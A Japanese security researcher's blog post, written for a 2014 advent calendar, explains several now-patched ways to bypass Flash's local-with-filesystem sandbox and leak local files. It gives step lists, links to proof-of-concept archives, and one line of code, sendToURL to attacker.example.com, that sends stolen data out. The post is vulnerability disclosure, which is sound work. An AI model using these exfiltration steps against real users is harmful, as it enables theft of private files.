2014/12/10

Flashのlocal-with-filesystem Sandboxのバイパス


この記事は 脆弱性"&'<<>\ Advent Calendar 2014 10日目の記事です!

発見したFlashのlocal-with-filesystem Sandboxをバイパスできた複数の脆弱性(CVE-2014-0534, CVE-2014-0537 か CVE-2014-0539, CVE-2014-0554)について書きます。

CVE-2014-0534
http://helpx.adobe.com/security/products/flash-player/apsb14-16.html

CVE-2014-0537 か CVE-2014-0539 (※どちらかのCVEがこのバグだけど片方は無関係の別のバグ、区別がつかない…)
http://helpx.adobe.com/security/products/flash-player/apsb14-17.html

CVE-2014-0554
http://helpx.adobe.com/security/products/flash-player/apsb14-21.html

local-with-filesystem Sandboxとは


ローカルで動くFlashのセキュリティ制限のタイプの1つです。local-with-filesystem Sandboxで動くFlashは、ローカルに保存したデータにはアクセスできるけど、ネットワーク通信はできないという制限で動きます。これにより、ローカルのデータを処理しながら、外部にはそのデータを送信されないような制限で安全にアプリを動かすことができるという話みたいです。詳しくは、Adobeのドキュメント(http://help.adobe.com/ja_JP/ActionScript/3.0_ProgrammingAS3/WS5b3ccc516d4fbf351e63e3d118a9b90204-7e3f.html)を参照。

(ちなみに、ブラウザによってははじめからローカルのhtmlを開いたときにこの制限以上のことができるものもあります。そういうブラウザははじめから問題にならないと考えていいでしょう。詳しくは  ローカルのHTMLファイルからどこまで読み取れるか選手権 2011 - 金利0無利息キャッシング – キャッシングできます - subtech を参照。)

今回はこのFlashが意図している制限を超えて、ネットワーク上にローカルファイルのデータを渡すことがバイパスのミッションです。

【方法1】 window.nameを使う( CVE-2014-0534 その1 )


以下のような方法で、ローカルファイルを外部へ送信できていました。


[手順]------------------------------
1. 細工したSWFファイルをローカルで開く。

2. パスが既知のローカルファイルのデータをURLLoader()で取得。

3. navigateToURL()の第1引数にローカルに持たせたHTMLのファイル、第2引数に取得したデータを渡す。(第1引数 = リダイレクト先、 第2引数 = ウインドウの名前)

4. リダイレクト後のローカルのHTMLから攻撃者のサイトにとばしてwindow.nameを取得すればデータの取得完了。
----------------------------------------

単純ですが、これでできていました。
local-with-filesystem Sandboxの下では、直接httpなURLにナビゲーションできないので、一度ローカルに保存させた細工したHTMLに飛ばしています。修正後は、名前付きのウインドウはFlash側がランダムにつけた別の名前に上書きされるようになりました。

ちなみに、ローカルファイルのURLの部分に「?」や「#」つけてデータ渡せば?っていう発想もあると思うんですが、リダイレクト時に「?」や「#」以降の文字列を削除しているようで、これは無理でした。

PoCはこちら:
http://l0.cm/file/bug2_localsandbox_bypass.zip
(localsandbox_LOCAL_WITH_FILE_bypass2.swf を開くと、そこから「../secret/secret.txt」の位置にあるテキストデータを取得しようとします。)

【方法2】 ショートカットファイル *.urlを使う( CVE-2014-0534 その2 )


これは、ローカルファイルを取得する話ではないのですが、バグを使ってローカルファイルから任意のネットワーク上のデータを取得して、それを【方法1】で紹介したようにwindow.nameを経由して攻撃者のサイトへ送信するというものです。

ローカルファイルからネットワーク上のデータの取得もlocal-with-filesystem Sandboxの下では制限されていますが、Firefoxだけは、Windowsの「.url」形式のショートカットファイルに対して、URLLoader()を使うと、ショートカットファイルが指すネットワーク上のデータを取得できていました。例えば、ショートカットファイルが「https://www.google.com/」を指していれば、Googleのレスポンスbodyが取得できていました。
ここで取得したデータを【方法1】と同じようにwindow.nameで渡せばゲット完了です。

PoCはこちら:
http://l0.cm/file/bug1_localsandbox_bypass.zip
(localsandbox_LOCAL_WITH_FILE_bypass.swf を開くと、Googleのトップページのレスポンスbodyを取得し、外部に送信しようとします。)

【方法3】 「feed:」「pcast:」プロトコルを使う( CVE-2014-0537 か CVE-2014-0539 )


これもローカルファイルからネットワーク上のデータをゲットする話です。

Firefoxだけ、ローカルファイルから以下のようなURLに対しURLLoader()を使うと、ネットワーク上のデータを取得できていました。

feed:https://www.google.com/
pcast:https://www.google.com/

取得したデータは、これまた先頭にfeed: か pcast:をつけたURLに対してsendToURL()等を使い、http:なURLへの通信制限をバイパスすることで送信します。
sendToURL("feed:http://attacker.example.com/?"+data);
過去には、Billy Rios氏の記事( http://xs-sniper.com/blog/2011/01/04/bypassing-flash%E2%80%99s-local-with-filesystem-sandbox/ )にあるように、mhtml: スキームでバイパスできたという話もありましたが、今でもブラックリスト的に制限していたのですね。

PoCはこちら:
http://l0.cm/file/localsandbox_bypass_with_feed_and_pcast.zip
(SWFを開くと、Googleのトップページのレスポンスbodyを取得し、外部に送信しようとします。)

【方法4】 URLにデータを含める(CVEなし)


@BugRoast 氏が発見した以下の方法を参考にして発見しました。

#2140 Flash local-with-fileaccess Sandbox Bypass - HackerOne
https://hackerone.com/reports/2140

彼の手法はこういうことだと思います。

[手順]------------------------------
1. パスが既知のローカルファイルのデータをURLLoader()で取得し、そのデータを2進数変換。

2. そのデータをファイルパスの区切り部分に 1= %2F、 0 = %5Cのようにして重ね、罠HTMLのファイルにnavigateToURL()する。

以下のようなかんじにするということです。

file:///C:/path/%2F%5C%5C%5C%5C%5C%5C%2FPoC.html

これはfile: のURLとして問題なくアクセス可能です。

3. リダイレクト後にパスに含まれた「%2F」「%5C」を変換してテキストを取り出す。

%2F%5C%5C%5C%5C%5C%5C%2F
10000001

A
----------------------------------------

めっちゃおもしろいですね。【方法1】で言ったように、URLの「?」や「#」以降に文字を渡せないので、それをバイパスするためにこんなことをしている訳です。修正後はリダイレクト後のURLを正規化して、余分な「%2F」「%5C」を取り除くことで対策したようです。
この手法を見て、他にも似た方法がありそうだな、と思って考えていたところ、思いついたのが以下のような手法です。

file:///C:/path/PoC.html.%20%20%20%20%20%20.

Windowsではファイル名のあとに「.」と「スペース」を重ねることが許されるようなので、これを同じように、

.%20%20%20%20%20%20.
10000001

A

というようにして取得するというものです。
また、Windowsではファイル名の大文字小文字は区別なくアクセスできるので、大文字 =0、 小文字=1 みたいに変換してリダイレクトするというのもできました。

file:///C:/path/aAAAAAAa.html

aAAAAAAa
10000001
A

この問題に気が付いた後に、もっと根本的な問題に気が付いたので、これに対してだけの修正がリリースされることはありませんでした。

【方法5】 リダイレクトを受けたファイルから情報を取得する( CVE-2014-0554 )


ここにきて、別のローカルファイルへのリダイレクトを許しているのが、根本的に危険な動作なんじゃないのかということに気が付きました。

リダイレクトさえできれば以下のようなことができてしまいます。

[手順]------------------------------
1. パスが既知のローカルファイルのデータをURLLoader()で取得し、データから1バイト取得。

2. 取得したバイトデータにあわせて、以下のように準備した、細工したHTMLへリダイレクトする。(「A」なら「41.html」にリダイレクトする。)



3. localStorageなどにリダイレクトを受けたHTMLの名前を保存しておき、次のバイトを見る。最後のバイトまで1~3の手順を繰り返す。

4. 全部取得できたら攻撃者のサイトにリダイレクトしてデータを飛ばす。

----------------------------------------

ローカルのファイルが存在すればリダイレクトに成功するので、URLに細かくデータを含めたりしなくてもどこにリダイレクトしたかでデータを判定すればいいじゃないかということです。

PoCはこちら:
http://l0.cm/file/localsandbox_bypass_with_redirect.zip
(「!!PoC.html」 を開くと、そこから「../secret/secret.txt」の位置にあるテキストデータを取得しようとします。)

どうやって対策するんだろう、と思っていましたが、ここまできてAdobeもローカルファイルへのリダイレクト自体が危険だということに気が付いたのか、ついにリダイレクト時に以下のような警告を出すようになりました。



これにより、自分から警告より先に行かなければローカルファイルを開いただけで別のローカルファイルが漏れることはなくなりました。

はい、こんなかんじでした。僕もAdobeも根本的な問題に気が付くのがちょっと遅かったですね。

FlashがWebの制限と共存するために、どういうバランスの保ち方をしているのかを見てみると、意外な方法でやっているのが見えてきたりして楽しいですね。大抵それはうまくいっていないか、かなり危なっかしいです。

ついでにおまけ( SECCONのXSS Bonsai (aka. Hakoniwa XSS Reloaded) のwriteup )


盆栽XSSを1番に解いたmkっていう人の盆栽のwriteupっぽいものをみつけました!

http://pastebin.com/FAErAd7V


脆弱性"&'<<>\ Advent Calendar 2014 、明日は@yousukezanさんが担当するみたいです!